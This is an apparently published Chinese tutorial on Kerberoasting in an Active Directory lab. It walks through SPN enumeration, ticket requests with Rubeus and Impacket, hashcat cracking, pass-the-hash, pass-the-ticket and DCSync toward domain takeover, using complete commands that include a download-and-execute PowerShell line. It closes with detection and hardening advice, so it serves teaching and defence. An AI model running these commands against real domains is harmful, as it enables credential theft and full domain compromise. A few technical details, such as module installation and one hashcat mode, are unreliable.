公司动态

Kerberos SPN攻击实战:从服务账户破解到域控沦陷

📅 2026/8/7 6:02:07
Kerberos SPN攻击实战:从服务账户破解到域控沦陷
在实际的网络安全攻防演练或渗透测试项目中我们常常会遇到一种情况一个看似微不足道的初始访问点最终却可能因为内部信任关系的滥用导致整个防御体系的崩溃。这种攻击路径往往比直接针对核心系统的“死亡”打击更早到来也更难防范。今天我们要探讨的正是这样一种经典的内部横向移动技术——基于服务主体名称Service Principal Names, SPN的 Kerberos 攻击。很多人将其比喻为“比死亡先到来的是哥哥”意指在最终目标域控、核心数据沦陷之前攻击者往往先通过其“兄弟”如高权限的服务账户找到突破口。本文面向有一定 Active Directory 基础的安全研究人员、渗透测试工程师和系统管理员。我们将从 Kerberos 协议和 SPN 的基础概念讲起逐步深入到如何发现、请求、破解 SPN并最终实现权限提升和横向移动。你将通过本文理解 SPN 攻击的完整链条掌握在授权测试环境中进行安全评估的方法并学会如何防御此类攻击。1. 理解 Kerberos 与 SPN为什么“哥哥”会成为突破口在深入实操之前必须理解攻击得以成立的基础原理。这决定了我们后续每一步操作的目的和边界。1.1 Kerberos 认证简析Kerberos 是 Windows Active Directory 域环境默认的身份认证协议。其核心流程涉及三方客户端Client、密钥分发中心Key Distribution Center, KDC通常由域控制器 DC 扮演和服务器Server。一次完整的服务访问流程如下AS-REQ/AS-REP (认证服务交换)用户向 KDC 证明自己的身份通常通过密码哈希换取一张票据授予票据Ticket-Granting Ticket, TGT。TGT 用于后续向 KDC 证明“我已登录”。TGS-REQ/TGS-REP (票据授予服务交换)当用户需要访问某个特定服务如 SQL Server、HTTP 服务时使用 TGT 向 KDC 请求一张服务票据Service Ticket, ST。AP-REQ/AP-REP (应用服务交换)用户将 ST 发送给目标服务。服务使用自己的密钥即服务账户的密码哈希解密 ST验证票据有效性从而授权访问。这个流程的安全基石在于“密钥”。用户密钥用于加密/解密 TGT 相关部分服务密钥用于加密/解密 ST。1.2 服务主体名称SPN的角色SPN 是 Kerberos 协议中用于唯一标识一个服务实例的名称。其格式通常为服务类型/主机名:端口/可选的名称。例如MSSQLSvc/sqlserver.corp.com:1433标识运行在sqlserver.corp.com主机 1433 端口上的 SQL Server 服务。HTTP/webserver.corp.com标识webserver.corp.com上的 Web 服务。在 AD 中SPN 被注册在运行该服务的账户对象可以是计算机账户或用户账户的属性servicePrincipalName中。当域用户需要访问该服务时KDC 会根据用户请求的 SPN找到对应的账户并使用该账户的密码哈希来加密生成服务票据ST。这里就产生了攻击面任何域用户默认都可以向 KDC 查询注册在域中的 SPN因为需要根据 SPN 找服务。并且任何域用户都可以为任何 SPN 请求服务票据TGS-REQ。虽然他们无法解密票据因为不知道服务账户的密码哈希但如果服务账户的密码强度不够攻击者可以将请求到的票据离线进行暴力破解或字典攻击。1.3 攻击链全景图“哥哥”的沦陷假设域内有一个服务账户svc_sql它运行着重要的数据库服务并且被加入了某些高权限组如Domain Admins。攻击链如下信息收集发现“哥哥”攻击者获得一个初始的域用户权限枚举域内所有注册的 SPN找到高价值服务账户如MSSQLSvc,HTTP,CIFS等。请求服务票据攻击者以当前用户身份向 KDC 请求针对目标 SPN 的服务票据TGS。导出与破解将内存中的票据导出为文件如.kirbi格式。使用工具如hashcat对票据文件进行离线暴力破解试图还原出加密票据所使用的密码哈希即服务账户的 NTLM Hash。哈希传递或票据传递获得服务账户的哈希后攻击者可以哈希传递Pass-the-Hash, PtH直接使用该哈希进行身份验证模拟svc_sql账户。票据传递Pass-the-Ticket, PtT或者如果破解出的是密码可以请求该账户的 TGT然后进行票据传递。权限提升与横向移动由于svc_sql是高权限账户攻击者现在可以访问数据库服务器甚至直接获取域控权限。至此“哥哥”高权限服务账户先于最终目标域控被攻陷为后续的“死亡”整个域沦陷铺平了道路。2. 环境准备与依赖配置在进行任何安全测试之前建立一个隔离、授权的实验环境是首要且必须的步骤。切勿在未经授权的生产环境进行测试。2.1 实验环境搭建你需要一个基础的 Active Directory 域环境。可以使用以下任一方式Windows Server 虚拟机在 VMware Workstation 或 VirtualBox 中安装 Windows Server 2016/2019/2022并配置为域控制器DC。再创建一台 Windows 10/11 虚拟机加入域作为攻击发起机已获取一个域用户权限。自动化实验平台FLARE VM一个集成了大量安全工具的 Windows 攻击机环境。Commando VM另一个流行的攻击机虚拟机。DetectionLab使用 Vagrant 和 VirtualBox 自动构建包含 DC、攻击机、靶机的完整 AD 实验环境。基础环境要求域控制器DC01.corp.com(IP: 192.168.1.10)成员服务器SRV01.corp.com(IP: 192.168.1.20)上面运行着 SQL Server 服务。攻击机ATTACKER.corp.com(IP: 192.168.1.100)已加入域当前用户为普通域用户corp\alice。服务账户我们创建一个域用户corp\svc_mssql将其注册为 SQL Server 服务账户并错误地将其加入到Domain Admins组以模拟高危场景。2.2 工具集安装与配置在攻击机 (ATTACKER) 上需要安装以下工具。建议在 PowerShell管理员权限下进行。1. 安装 PowerShell 模块# 安装 Active Directory 模块用于查询 Install-WindowsFeature RSAT-AD-PowerShell # 安装 PowerView (SharpView 是较新版本) Install-Module -Name PowerView -Force # 或者下载并导入 # IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1) # 安装 ADModule (替代旧版 AD cmdlets) Install-Module -Name ActiveDirectory -Force2. 安装 Impacket 工具集 (Python)Impacket 是进行 Kerberos 协议交互的利器。# 在攻击机上安装 Python 3然后使用 pip 安装 pip install impacket # 安装后关键脚本位于 Python 的 Scripts 目录下例如 # GetUserSPNs.py - 用于请求和导出 SPN 票据 # secretsdump.py - 用于哈希传递等3. 安装 Hashcat用于离线破解 Kerberos 票据。从官网下载 Hashcat 二进制文件解压即可。确保系统有兼容的 GPU 驱动以获得最佳破解速度。4. 安装 Rubeus一个强大的 C# 工具用于进行 Kerberos 交互、票据操作等。# 从 GitHub 下载编译好的 Rubeus.exe # 或者使用 .NET 编译 # 将其放在攻击机方便调用的路径下如 C:\Tools\2.3 配置服务账户与 SPN在域控制器 (DC01) 上我们需要设置靶标。1. 创建高危服务账户并设置 SPN# 以域管理员身份在 DC 上执行 New-ADUser -Name svc_mssql -SamAccountName svc_mssql -UserPrincipalName svc_mssqlcorp.com -Enabled $true -AccountPassword (ConvertTo-SecureString -AsPlainText WeakPassword123! -Force) -PasswordNeverExpires $true # 将账户添加到 Domain Admins 组模拟错误配置 Add-ADGroupMember -Identity Domain Admins -Members svc_mssql # 为账户注册 SQL Server 相关的 SPN setspn -S MSSQLSvc/SRV01.corp.com:1433 corp\svc_mssql setspn -S MSSQLSvc/SRV01.corp.com corp\svc_mssql # 验证 SPN 是否添加成功 setspn -L corp\svc_mssql注意在生产环境中绝不应将服务账户加入高权限组并应使用强密码。至此实验环境准备完毕。我们有一个弱密码 (WeakPassword123!) 的高权限服务账户svc_mssql并为其注册了 SPN。3. 攻击链实操从 SPN 发现到域控沦陷现在我们模拟攻击者已经通过某种方式如钓鱼、漏洞利用获得了普通域用户corp\alice的权限并登录到攻击机ATTACKER。3.1 信息收集枚举域内 SPN首先我们需要发现哪些账户注册了 SPN特别是那些可能使用用户账户而非计算机账户运行的服务。方法一使用 PowerView# 导入 PowerView 模块 Import-Module .\PowerView.ps1 # 获取域内所有注册了 SPN 的用户账户 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,memberof | Format-List这条命令会列出所有serviceprincipalname属性不为空的用户账户并显示其 SPN 和所属组。你应该能看到svc_mssql及其 SPN。方法二使用 Active Directory 模块Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName, MemberOf | Select-Object SamAccountName, ServicePrincipalName, {NameMemberOf;Expression{$_.MemberOf -join ;}}方法三使用 setspn 命令setspn -T corp.com -Q */*-T指定域-Q进行查询*/*匹配所有 SPN。输出会显示每个 SPN 关联的账户。分析结果 找到svc_mssql账户后发现其 SPN 为MSSQLSvc/SRV01.corp.com:1433并且它隶属于Domain Admins。这是一个极具价值的目标。3.2 请求服务票据并导出发现目标后下一步是请求该 SPN 的服务票据。票据会以加密形式缓存在当前会话的内存中。方法一使用 Rubeus (推荐)Rubeus 可以一站式完成请求和导出。# 请求指定 SPN 的票据并以 Hashcat 兼容的格式$krb5tgs$输出到文件 .\Rubeus.exe asktgs /domain:corp.com /dc:DC01.corp.com /user:alice /service:MSSQLSvc/SRV01.corp.com:1433 /ptt /outfile:svc_mssql_tgs.hashcat/domain域名。/dc域控制器主机名。/user当前请求票据的用户需要有 TGT。/service目标 SPN。/ptt将票据传递到当前会话此步骤可选我们先导出。/outfile将票据的哈希格式保存到文件供 Hashcat 破解。执行后会在当前目录生成svc_mssql_tgs.hashcat文件。用文本编辑器打开你会看到类似$krb5tgs$23$*alice$CORP.COM$MSSQLSvc/SRV01.corp.com:1433*$ABCD...的字符串这就是加密的票据哈希。方法二使用 Impacket 的 GetUserSPNs.py# 使用已知的域用户密码或哈希来请求并自动导出票据哈希 python GetUserSPNs.py -dc-ip 192.168.1.10 corp.com/alice:alice_password -request-user svc_mssql -outputfile hashes.txt-dc-ip域控制器 IP。corp.com/alice:alice_password格式为域名/用户名:密码。-request-user指定请求哪个用户的 SPN 票据。-outputfile输出文件。3.3 离线破解服务票据哈希现在我们有了加密的票据哈希文件可以使用 Hashcat 对其进行离线暴力破解。破解的本质是猜解加密票据时使用的密钥即服务账户svc_mssql的密码。1. 准备密码字典创建一个简单的字典文件wordlist.txt包含我们设定的弱密码和其他常见密码。WeakPassword123! Password1 admin123 sqladmin corp2023 ...2. 使用 Hashcat 破解确定 Hashcat 的模式。Kerberos 5 TGS-REP etype 23 (RC4-HMAC) 对应的模式是13100。# 在攻击机上打开命令行进入 Hashcat 目录 hashcat -m 13100 svc_mssql_tgs.hashcat wordlist.txt --force-m 13100指定破解模式为 Kerberos 5 TGS-REP etype 23。svc_mssql_tgs.hashcat上一步导出的哈希文件。wordlist.txt你的密码字典。--force如果提示驱动问题可以加此参数但不推荐在生产 GPU 上使用。如果密码在字典中Hashcat 会很快显示破解结果格式为哈希值:明文密码。在我们的例子中应该会破解出WeakPassword123!。3. 关于加密类型Windows 域环境默认使用 RC4-HMAC (etype 23) 加密来兼容旧系统其密钥源自用户的 NTLM 哈希这使得破解成为可能。如果域环境强制使用 AES256 (etype 18) 等更强加密破解难度会指数级增加。可以通过Get-ADUser -Identity svc_mssql -Properties msDS-SupportedEncryptionTypes查看账户支持的加密类型。3.4 利用破解结果进行横向移动成功破解出服务账户的密码后攻击者就获得了该账户的凭据。接下来有多种利用方式。方式一哈希传递 (Pass-the-Hash)我们实际上破解出的是密码但可以很容易地计算出其 NTLM Hash。# 使用 Python 计算密码的 NTLM Hash python -c “import hashlib,binascii; hash hashlib.new(‘md4’, ‘WeakPassword123!’.encode(‘utf-16le’)).digest(); print(binascii.hexlify(hash).decode())” # 输出类似e19ccf75ee54e06b06a5907af13cef42然后使用 Impacket 的psexec、wmiexec等工具进行哈希传递。python psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 corp.com/svc_mssqlSRV01.corp.com如果成功你将获得SRV01服务器上的 SYSTEM 权限 shell因为svc_mssql是Domain Admins在成员服务器上具有本地管理员权限。方式二票据传递 (Pass-the-Ticket) - 更隐蔽既然知道了密码我们可以直接以svc_mssql的身份请求一张 TGT然后使用这张 TGT 访问任何资源。使用 Rubeus 请求 TGT.\Rubeus.exe asktgt /domain:corp.com /dc:DC01.corp.com /user:svc_mssql /password:WeakPassword123! /ptt/ptt参数会自动将请求到的 TGT 注入当前会话的内存票据缓存。验证票据klist你应该能看到一张来自svc_mssqlCORP.COM的 TGT。访问域控制器现在你可以使用原生的 Windows 工具如dir访问域控制器的共享因为 Kerberos 票据会自动用于认证。dir \\DC01.corp.com\c$如果成功列出目录证明你已具备域管理员权限。方式三DCSync 攻击这是最致命的一击。在获得了等同于域管理员权限后可以直接从域控制器上同步导出所有域用户的哈希值包括 krbtgt 账户的哈希。# 使用 Impacket 的 secretsdump利用已有的票据或哈希 python secretsdump.py -k -no-pass DC01.corp.com -just-dc-user corp\\krbtgt # 或使用哈希 python secretsdump.py corp.com/svc_mssql:WeakPassword123!DC01.corp.com -just-dc-just-dc会导出整个域数据库NTDS.dit中的哈希。获得 krbtgt 哈希后攻击者可以制作黄金票据Golden Ticket获得域内永久的、不可检测的后门权限。至此通过 SPN → 弱密码服务账户 → 域管理员权限 → DCSync 的攻击链完成整个域沦陷。4. 关键配置、参数与排查路径详解4.1 攻击工具关键参数解析Rubeus 常用参数参数全称作用示例asktgsAsk Ticket-Granting Service请求指定 SPN 的服务票据。/service:MSSQLSvc/srv01:1433asktgtAsk Ticket-Granting Ticket使用密码或哈希请求用户的 TGT。/user:svc_sql /password:Passw0rd!/domainDomain指定目标域名。/domain:corp.com/dcDomain Controller指定域控制器主机名或 IP。/dc:DC01.corp.com/pttPass The Ticket将操作获得的票据注入当前会话。常与asktgt或asktgs联用。/outfileOutput File将票据以 Hashcat 格式导出到文件。/outfile:hash.txt/ticketTicket指定一个票据文件进行导入或操作。/ticket:admin.kirbiImpacket GetUserSPNs.py 参数参数作用备注-dc-ip域控制器 IP 地址。必须指定。-request请求票据并自动以 Hashcat 格式输出。核心攻击参数。-request-user只请求指定用户的 SPN 票据。用于精准打击。-outputfile指定哈希输出文件。-hashes使用 NTLM 哈希进行认证。LMHASH:NTHASH 格式。4.2 防御视角如何发现环境中的风险作为防御者或安全管理员你需要定期审计域环境。1. 查找所有服务账户# 查找所有非计算机账户、已启用、且注册了 SPN 的账户 Get-ADUser -Filter { (ServicePrincipalName -ne $null) -and (Enabled -eq $true) } -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires, MemberOf | Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires, {NameMemberOf;Expression{$_.MemberOf -join ;}} | Export-Csv -Path SPN_Audit.csv -NoTypeInformation2. 检查服务账户权限重点关注那些同时属于高权限组如Domain Admins,Enterprise Admins,Schema Admins, 服务器本地Administrators组的服务账户。这是极度危险的配置。3. 检查密码策略检查密码永不过期 (PasswordNeverExpires) 的账户。结合 SPN 和权限这些是重点审计对象。Get-ADUser -Filter { (ServicePrincipalName -ne $null) -and (PasswordNeverExpires -eq $true) } -Properties SamAccountName, PasswordNeverExpires4. 监控 Kerberos 日志在域控制器上启用Audit Kerberos Service Ticket Operations策略并监控事件 ID4769。频繁为同一个用户请求大量不同服务的票据可能是攻击者在进行 SPN 扫描。4.3 常见问题与排查路径在实施攻击或防御演练中你可能会遇到以下问题问题现象可能原因检查与解决思路Get-DomainUser命令未找到PowerView 模块未正确导入或函数名不同。使用Import-Module .\PowerView.ps1或检查模块路径。也可直接使用 AD 模块Get-ADUser。Rubeus 执行报错[X] Kerberos SessionError1. 当前用户没有有效的 TGT。2. 目标 SPN 不存在或格式错误。3. 网络无法访问 KDC (DC)。1. 先用klist检查是否有 TGT或用.\Rubeus.exe klist。2. 用setspn -L 账户确认 SPN 准确无误。3. 检查与 DC 的网络连通性和 DNS 解析。Hashcat 无法识别哈希格式导出的哈希格式不正确或模式 (-m) 选错。确保使用 Rubeus 的/outfile或 GetUserSPNs.py 的-outputfile导出。用文本编辑器打开确认以$krb5tgs$23$...开头。模式应为13100。破解速度极慢或无法破解1. 密码强度高不在字典中。2. 服务账户使用了 AES 加密 (etype 18)。1. 扩大字典范围尝试规则破解。2. 检查账户加密类型Get-ADUser -Identity user -Properties msDS-SupportedEncryptionTypes。AES 破解需要-m 19900模式且难度极大。哈希传递 (psexec) 失败1. 目标主机防火墙阻止了相关端口 (445, 135)。2. 目标系统版本限制如 Win10 1803 默认限制 PtH。3. 管理员共享 (C$) 被关闭。1. 检查端口连通性。2. 尝试其他横向移动方法如 WMI (wmiexec.py)、SMBExec (smbexec.py) 或计划任务 (atexec.py)。3. 尝试访问其他共享或使用服务管理。票据传递后访问共享被拒绝1. 票据未成功注入 (/ptt失败)。2. 账户在目标服务器上没有足够的文件系统权限。1. 使用klist确认当前会话缓存中是否有目标服务的票据或用户的 TGT。2. 即使有域管理员权限某些安全策略如 UAC 远程限制也可能影响访问。尝试net use或dir时使用 FQDN。5. 防御策略与最佳实践理解了攻击原理后防御思路就清晰了加固“哥哥”服务账户缩短攻击链条。5.1 服务账户管理黄金法则最小权限原则绝对禁止将服务账户添加到Domain Admins、Enterprise Admins等高权限组。为服务账户创建专属的、权限仅限于其运行服务所需的域组或本地组。使用组策略对象GPO或本地策略仅授予服务账户运行所必需的文件、注册表、网络权限。强密码与托管账户为服务账户设置长度超过 25 位、复杂度高的密码。优先使用组托管服务账户gMSA。gMSA 由 AD 自动管理密码定期、随机重置且无需人工干预。应用程序使用 gMSA 时无需知晓密码。如果必须使用标准用户账户确保启用“密码永不过期”的同时建立严格的手动密码轮换流程。限制 SPN 注册默认情况下任何域用户都可以在任意账户上注册 SPN。这是一个高危设置。通过修改 AD 中账户的msDS-AllowedToDelegateTo属性或使用“受限委派”功能进行控制但这比较复杂。更根本的方法是通过域组策略将Register SPN的权限从Authenticated Users移除仅授予特定的服务器管理组或域管理员。这需要仔细规划否则可能导致服务启动失败。5.2 检测与监控配置启用高级审计在域控制器上启用Audit Kerberos Service Ticket Operations(事件 4769)。监控事件 4769 中Ticket Encryption Type为0x17(RC4) 的请求。同一个源用户 (Account Name) 在短时间内请求大量不同服务的票据。请求的服务票据对应高权限账户。部署 SIEM 与告警规则将域控制器日志集中收集到 SIEM如 Elastic Stack, Splunk, Azure Sentinel。创建告警规则对上述可疑的 Kerberos 事件进行实时告警。定期进行攻击模拟使用 BloodHound 等工具定期扫描域环境识别出从普通用户到高权限服务账户、再到域控的攻击路径。使用 PingCastle 等工具进行域安全健康评估它会直接报告弱密码服务账户、SPN 滥用等问题。5.3 缓解与补救措施强制使用强加密在域组策略中将Network security: Configure encryption types allowed for Kerberos设置为仅允许AES256_HMAC_SHA1和AES128_HMAC_SHA1禁用RC4_HMAC_MD5。注意这需要所有客户端和服务端系统都支持 AES 加密Windows Vista / Server 2008 及以上。需做好兼容性测试。启用 Protected Users 组将高价值用户尤其是管理员添加到Protected Users安全组。此组的成员无法使用 RC4 加密进行 Kerberos 预认证且其凭据不会被缓存到内存中能有效缓解 Kerberos 相关攻击。实施 Just Enough Administration (JEA)对于必须进行远程管理的场景使用 PowerShell JEA 来限制管理员会话中可运行的命令集而不是授予完全的管理员权限。SPN 攻击是 Kerberos 协议特性与不当配置结合的产物。防御的核心在于严格的账户权限管理、强密码策略、对服务账户的特殊关照以及全面的监控审计。定期审视你的 Active Directory 环境确保没有哪个“哥哥”因为弱密码或高权限而成为攻击者通往“死亡”的捷径。对于红队而言掌握此技术是横向移动的必修课对于蓝队而言理解并封堵此路径是守护边界内安全的关键。